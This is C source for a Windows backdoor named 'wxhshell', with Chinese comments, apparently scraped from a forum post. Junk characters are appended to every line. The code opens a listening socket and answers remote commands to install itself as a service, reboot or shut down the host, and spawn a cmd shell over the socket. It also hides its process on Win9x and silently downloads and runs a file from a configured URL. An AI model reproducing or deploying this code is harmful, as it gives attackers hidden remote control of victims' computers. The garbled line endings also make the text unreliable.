Z-{!Z;T)z  
    switch(cmd[0]) { 'ZHu=UT7_  
  F)0I7+lP  
  // 帮助 / h6(!-"  
  case '?': { FBGHVV w!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P'Fy,fNg  
    break; G=8w9-Ww  
  } G@) I  
  // 安装 h]94\XQ>$  
  case 'i': { ,qRSB>5c  
    if(Install()) w jmZ`UMz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -%=StWdb   
    else sK:,c5^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2.2Z'$W  
    break; kC R)k=*  
    } |7Q8WjCQ{m  
  // 卸载 c4LBlLv4  
  case 'r': { L!L/QG|wdf  
    if(Uninstall()) QD:0iD?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2`* %NJ  
    else ~zz|U!TG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LoG@(g&)  
    break; B-[SUmHr  
    } Xl6)&   
  // 显示 wxhshell 所在路径 1V`]sfRK  
  case 'p': { co3H=#2a  
    char svExeFile[MAX_PATH]; A*pihBo7  
    strcpy(svExeFile,"\n\r"); EGwY|+3  
      strcat(svExeFile,ExeFile); 2LYd # !i  
        send(wsh,svExeFile,strlen(svExeFile),0); yT&bS\  
    break; q rbF@{  
    } i&,U);T  
  // 重启 x#0C+cU  
  case 'b': { =D xJt7J1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); SEchF"KJQF  
    if(Boot(REBOOT)) *vhm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (r[<g*+3  
    else { +>qBK}`  
    closesocket(wsh); VP4t~$"  
    ExitThread(0); 7IJb$af:;  
    } g}^ /8rW  
    break; F'CUkVC0~P  
    } :e@JESlLf  
  // 关机 W? UCo6<m  
  case 'd': { M]` Q4\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); a`pY&xq::  
    if(Boot(SHUTDOWN)) ,f?#i%EF&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,.`^Wx6F  
    else { *vAOUqX`x  
    closesocket(wsh); 2K*-uT#$~  
    ExitThread(0); 3 n:<oOV  
    } T %a]3  
    break; ^}1RDdQ"U  
    } jZ D\u%  
  // 获取shell .`'SL''c  
  case 's': { b"FsT  
    CmdShell(wsh); ') 1sw%[2  
    closesocket(wsh); '*,4F'  
    ExitThread(0); H+5]3>O-$  
    break; f[}SS]d:E  
  } H4:TYh  
  // 退出 `u>BtAx8  
  case 'x': { 93WYZNpX  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f A,+qs  
    CloseIt(wsh); >A,WXzAK}S  
    break; ewY[vbF  
    } pWx3l5)R  
  // 离开 =hs@W)-O  
  case 'q': { >rFvT>@NU  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); F{"%ey">  
    closesocket(wsh); CXQ ?P  
    WSACleanup(); #wjBMR%  
    exit(1); 'j3'n0o  
    break;  yY| .  
        } | fI%L9  
  } 9bNIaC*M  
  } B7PmG f)b  
j>b OnCp~  
  // 提示信息 UA8!?r-cR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _N:h&uw  
}  XGoy#h  
  } |K_B{v.   
~ /x42|t  
  return; \S<5b&G  
} >eTlew<5  
Ji!-G4.n"  
// shell模块句柄 S }n;..{  
int CmdShell(SOCKET sock) 1}uDgz^  
{ |:#mw 1  
STARTUPINFO si; 2$o[  
ZeroMemory(&si,sizeof(si)); Xp~]kRm9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X2uX+}h*tA  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,![=_d  
PROCESS_INFORMATION ProcessInfo;  B~NC  
char cmdline[]="cmd"; DsX>xzM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H+;wnI>@  
  return 0; SHk[X ]Uo  
} @,MdvR+a  
'm cJ/9)v  
// 自身启动模式 xB(:d'1|  
int StartFromService(void) ffM(il/2  
{ Y2X1!Em>B  
typedef struct K*Jtyy}r  
{ OVyy}1Hx  
  DWORD ExitStatus; n{t',r50  
  DWORD PebBaseAddress; HUC2RM?FN  
  DWORD AffinityMask; !T*B{+|  
  DWORD BasePriority; x 5SQ+7  
  ULONG UniqueProcessId; +_eb*Z`5o  
  ULONG InheritedFromUniqueProcessId; vy@Lu cB  
}   PROCESS_BASIC_INFORMATION; rl%Kn^JJ~  
w4'K2 7  
PROCNTQSIP NtQueryInformationProcess; <dL04F  
#'x?) AS  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A E&n^vdQW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6Qb)Uq3}]  
4QFOO sNp  
  HANDLE             hProcess; &XRFX 5gP  
  PROCESS_BASIC_INFORMATION pbi; @'*#]YU8  
w.aFaR)04  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q=Yerp3~  
  if(NULL == hInst ) return 0; Z]TVH8%|k  
z,|%? 1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ennz/'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); PAwg&._K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5"am>$rh  
\hW73a!  
  if (!NtQueryInformationProcess) return 0; |u"R(7N*  
iwJ-<v_:h  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %_MR.J+m2  
  if(!hProcess) return 0; X&s\_jQ  
&PuJV +y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d:pm|C|F  
.eNwC.8i  
  CloseHandle(hProcess); !otq X-  
m=\eL~ h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S1juAV=  
if(hProcess==NULL) return 0; eBTedSM?t  
z %3"d0  
HMODULE hMod; L*01l"5  
char procName[255]; {2k< k(,  
unsigned long cbNeeded; aE+$&_>ef  
,XG|oo -  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  +wW  
@GZa:(  
  CloseHandle(hProcess); ]a!; `m$  
Z*(! `,.bB  
if(strstr(procName,"services")) return 1; // 以服务启动 +'j*WVE%5  
8+|V!q   
  return 0; // 注册表启动 `J#xyDL6?  
} O;BMwg_7  
zg Y*|{4Sl  
// 主模块 /W$y"!^)J1  
int StartWxhshell(LPSTR lpCmdLine) =R;1vUio  
{ % r   
  SOCKET wsl; Be>c)90bO_  
BOOL val=TRUE; mGpkM?Y"  
  int port=0; '"]>`=R  
  struct sockaddr_in door; f+TBs_  
2@m(XT (  
  if(wscfg.ws_autoins) Install(); g1 Wtu*K3  
fo\J \  
port=atoi(lpCmdLine); _h=< _Z  
-=[o{r`  
if(port<=0) port=wscfg.ws_port; &>zy_)  
9CK\tx&  
  WSADATA data; .)^3t ~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r< ?o}Qq  
4`!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   jU4)zN/`r  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r6`^>c  
  door.sin_family = AF_INET; )_X xk_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fv j5[Q  
  door.sin_port = htons(port); *Nf4bH%MN  
1_j<%1{sZ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |+;KhC  
closesocket(wsl); Qk~0a?#y5  
return 1; h*\TCl)  
} WrHgF*[  
f}lT|.)?VD  
  if(listen(wsl,2) == INVALID_SOCKET) { dW{o+9nw  
closesocket(wsl); ?`T6CRZhr  
return 1; OHtgn  
} k{}[>))Q  
  Wxhshell(wsl); k;K> ,$ F  
  WSACleanup(); [!:-m61  
W p7@  
return 0; :@QK}qFP  
h$aew63  
} TRySl5jx@  
e}?1T7NPG]  
// 以NT服务方式启动 p-Rm,xyL%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^T}}4I_Y  
{ `u p-m=zA  
DWORD   status = 0; EG(`E9DZ  
  DWORD   specificError = 0xfffffff; mI?* Z%>g  
J:g<RZZ1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; V`R)#G>IH%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; U+9- li  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0gv3v@QO  
  serviceStatus.dwWin32ExitCode     = 0; c#\ah}]Vo  
  serviceStatus.dwServiceSpecificExitCode = 0; "UhK]i*@l  
  serviceStatus.dwCheckPoint       = 0; 2<y}91N:  
  serviceStatus.dwWaitHint       = 0; PuCwdTan_  
nl)_`8=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); KlVi4.]  
  if (hServiceStatusHandle==0) return; k\+y4F8$x  
]HJ{dcF  
status = GetLastError(); S{^6iR  
  if (status!=NO_ERROR) p@cfY]<7  
{ }J+ ce  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  l5ZADK4  
    serviceStatus.dwCheckPoint       = 0; R "/xne  
    serviceStatus.dwWaitHint       = 0; 9atjK4+o  
    serviceStatus.dwWin32ExitCode     = status; g{g`YvLu^  
    serviceStatus.dwServiceSpecificExitCode = specificError; y+ 6`| h_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2y9:'c|  
    return; * 1 |YLy  
  } g:3d<CS  
Lf,CxZL5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (xk.NZn F  
  serviceStatus.dwCheckPoint       = 0; '2Q.~6   
  serviceStatus.dwWaitHint       = 0; )CC?vV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 38V $<w  
} _L&n&y1+%  
V]l&{hl,  
// 处理NT服务事件,比如:启动、停止 %+AS0 JhB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1KeJd&e  
{ ,~?A,9?%:  
switch(fdwControl) 8 *4@-3Sx  
{ nuf@}W>y  
case SERVICE_CONTROL_STOP: ;yk9(wea}"  
  serviceStatus.dwWin32ExitCode = 0; 0OleO9Ua  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; WW@JVZxK  
  serviceStatus.dwCheckPoint   = 0; O{lIs_1.Z  
  serviceStatus.dwWaitHint     = 0; m.1LxM$8  
  { a(PjcQ4dY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VKq0 <+M  
  } SL[rn<x|  
  return; Si#"Wn?|  
case SERVICE_CONTROL_PAUSE: C/mg46 v2W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Nc G,0K  
  break; kVV\*"9y  
case SERVICE_CONTROL_CONTINUE: J|n(dVen/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;V|M3  
  break; th5,HO~  
case SERVICE_CONTROL_INTERROGATE: =jJ H^Y2  
  break; 0L!er%GM  
}; lr9=OlH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >pgQb9 T+_  
} 8# 6\+R  
X}3P1.n:  
// 标准应用程序主函数 "V:   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }*?yHJ3  
{ @''&nRC1  
o)0C-yO0qf  
// 获取操作系统版本 Zw2jezP@t  
OsIsNt=GetOsVer(); zl0;84:H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); gsnP!2cR  
' be P  
  // 从命令行安装 }16&1@8  
  if(strpbrk(lpCmdLine,"iI")) Install(); A|2 <A !  
J2rvJ2l=t  
  // 下载执行文件 \M+MDT&  
if(wscfg.ws_downexe) { ^Y$QR]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .6\T`6H=a  
  WinExec(wscfg.ws_filenam,SW_HIDE); +T-@5 v[  
} [:Be[pLC  
_o\>V:IZ  
if(!OsIsNt) { Po1hq2-U8  
// 如果时win9x,隐藏进程并且设置为注册表启动 @XeEpDn]  
HideProc(); [.{^"<Z<  
StartWxhshell(lpCmdLine); _~juv&  
} 5(423"(y  
else L {!ihJr  
  if(StartFromService()) /j11,O?72  
  // 以服务方式启动 _8al  
  StartServiceCtrlDispatcher(DispatchTable); p Z"o@';!  
else <}&7 a s  
  // 普通方式启动 ]y.R g{iv  
  StartWxhshell(lpCmdLine); kzMa+(fu  
/CH(!\bQ  
return 0; IeZ&7u  
}
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只看该作者 1 发表于: 2006-10-10
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